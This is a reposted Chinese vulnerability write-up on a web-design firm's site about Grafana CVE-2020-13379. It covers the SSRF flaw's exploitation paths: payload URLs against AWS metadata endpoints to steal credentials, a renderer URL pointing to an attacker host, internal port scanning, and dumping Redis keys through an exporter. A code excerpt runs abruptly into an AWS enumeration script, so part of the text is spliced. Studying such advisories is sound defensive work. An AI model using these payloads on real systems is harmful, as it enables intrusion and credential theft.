网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 15215065006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF

文章来源:重庆网站建设 发布时间:2020-08-12 14:26:44 围观次数:
分享到:

摘要:在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。

  研究发现,在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3.0.1至7.0.1版本。在报告了相关信息后,为该产品分配了漏洞编号CVE-2020-13379。


漏洞发现过程


  在Grafana的名为api.go的开源文件中,第423行有以下代码行:

  r.Get(“ / avatar /:hash”,avatarCacheServer.Handler)

  为了加载由用户上传并保存在gravatar上的头像图像,此行代码读取/avatar/:hash中的哈希值(例如,https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....),并将其传递到域名为secure.grafana.com的相关路径。在这里,一般的代码逻辑如下:

const (
 gravatarSource = "https://secure.gravatar.com/avatar/"
)
...
case err =  ec2Instances.txt
echo "EC2 Instances outputted to \"ec2Instances.txt\"!"
aws s3api list-buckets > s3Buckets.txt
echo "S3 Buckets outputted to \"s3Buckets.txt\"!"

  通过AWS公共元数据服务器访问链接http://169.254.169.254/latest/user-data,我们可以获取许多与目标实例相关的敏感信息,尽管AWS文档反复声称不在实例位置存储凭证信息。但是,根据经验仍然发现许多关键数据,例如K8S Secrets,IAM凭证,SSL凭证和GitHub凭证。

  此外,我们还可以从另一个AWS路径获取有用的信息:

  http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

 

 漏洞利用2-图片渲染过程导致的Blind SSRF


  Grafana实例内部发生了大量的图像渲染过程,因此攻击者可以使用Headless Chrome实例(Chrome在非Chrome环境中运行)来构造包含超时变量的HTML页面,并将其用作实现长期的堡垒内网RCE攻击尝试。

  同样,我们可以使用CVE-2020-13379的SSRF漏洞执行Intranet端口扫描检测。例如,在一般的Grafana实例中将有一个3001端口,此SSRF方法可以成功检测到该端口:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 22
ETag: W/"16-NipK4Bud1bhsozqKdmj9bWnwGTg"
Date: Wed, 29 Jul 2020 11:21:31 GMT
Connection: keep-alive

Grafana Image Renderer

  基于此,攻击者可以通过以下链接精心构建Grafana实例系统以执行危险操作:

  localhost:3001/render?url=http://yourhost&domain=a&renderKey=a&timeout=30

  编写以下HTML文件进行一个自动化快速的漏洞利用,用它可以进行RCE提权攻击。


漏洞3-操控Gitlab的 Prometheus Redis导出器


  Prometheus是一个开源服务监视系统和时间序列数据库。如前所述,该漏洞还将影响版本低于13.1.1的Grafana Gitlab实例。根据Gitlab文档,Grafana Gitlab实例从9.0版开始,默认情况下都启用了Prometheus和Exporter。这些导出器可能是攻击者利用CVE-2020-13379的突破点。导出器之一是Redis Exporter,其路径http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*,由攻击者使用target参数构造,通过该路径可以下载redis服务器中的所有关键信息。


漏洞4-Image-Only SSRF -> Full-Read SSRF


  在Grafana开源文件avatar.go的第104行中,SSRF响应的内容类型(Content Type)为image / jpeg,这使我们有独特的机会利用基于SSRF漏洞的其他漏洞。假设我们有以下情形:

  example.com/fetchImage.php?image=http://localhost/image.png

  fetchImage.php中的代码将HTTP请求发送到请求目标,然后检查其内容类型(Content Type)是否为image / jpeg,如果是,则返回请求的内容。因此,如果内部Grafana实例具有我们的CVE-2020-13379漏洞,则攻击者可以构造以下链接以形成内容读取SSRF漏洞攻击:

  example.com/fetchImage.php?image=http://internalgrafana/avatar/.../169.254.169.254

  由于返回的内容需要为image/jpeg,因此它将执行content-type验证。此外,由于这是由基于图像的SSRF触发的读取SSRF,并且攻击者可以控制链接重定向,因此攻击者还可以将其用于文件扩展名检查欺骗。


本文由 重庆网站建设 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:Grafana CVE-2020-13379 SSRF

上一篇:Google Chrome浏览器CVE-2020-6519安全漏洞:攻击者利用漏洞绕过网络的内容安全策略(CSP),窃取用户数据并执行恶意代码。
下一篇:Windows CVE-2020-1313漏洞分析和利用:影响Windows 10和Windows Server Core产品

热门资讯

鼠标向下滚动